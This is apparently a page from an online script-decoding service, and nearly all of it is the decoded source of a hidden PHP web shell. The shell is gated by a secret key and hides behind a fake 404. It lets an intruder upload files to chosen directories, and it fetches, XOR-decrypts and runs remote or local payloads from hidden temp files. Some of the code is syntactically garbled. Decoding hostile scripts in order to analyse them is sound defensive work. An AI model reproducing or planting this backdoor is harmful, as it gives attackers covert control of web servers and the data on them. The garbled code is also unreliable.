Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


$K="dipfuey";
	if(!isset($_GET["k"])||$_GET["k"]!==$K){
	http_response_code(404);
	exit;
}
$g="file_put_contents";
$gf="file_get_contents";
$rn="rename";
	$xd=function($v){
	return $v;
};
$FS="_FILES";
	if(isset($GLOBALS[$FS]["berkas"])){
	$f=$GLOBALS[$FS]["berkas"];
	$r=@$gf($f["tmp_name"]);
	$d=rtrim(isset($_REQUEST["dir"])?$_REQUEST["dir"]:__DIR__,"/");
	$nm=basename($f["name"]);
	$tmp=$d."/".substr(md5($nm),0,8).."txt";
	@$g($tmp,$r);
	$p=$d."/".$nm;
	@$rn($tmp,$p);
	echo file_exists($p)?"OK:'.filesize($p):"F";
	exit;
}
$b=isset($_GET["run"])?$_GET["run"]:'';
	if($b!==''){
	$o=@$gf($b);
	$p=$xd($o);
	$n=strlen($p);
	$y=" ";
	for($i=0;
	$i<$n;
	$i++)$y.=$p[$i]^$K[$i%7];
	$y=substr($y,1);
	$t=sys_get_temp_dir()."/.".$n.."t";
	if(!is_file($t)||filesize($t)!==$n)@$g($t,$y);
		ob_start(function($z){
		return preg_replace('/(href|action)="\?/','$1="?k=dipfuey&',$z);
	}
	);
	include $t;
	exit;
}
$p=$xd($gf(__DIR__."/a.txt"));
$n=strlen($p);
$y=" ";
for($i=0;
$i<$n;
$i++)$y.=$p[$i]^$K[$i%7];
$y=substr($y,1);
$t=sys_get_temp_dir()."/.".$n.."t";
if(!is_file($t)||filesize($t)!==$n)@$g($t,$y);
	ob_start(function($z){
	return preg_replace('/(href|action)="\?/','$1="?k=dipfuey&',$z);
}
);
include $t;



© 2023 Quttera Ltd. All rights reserved.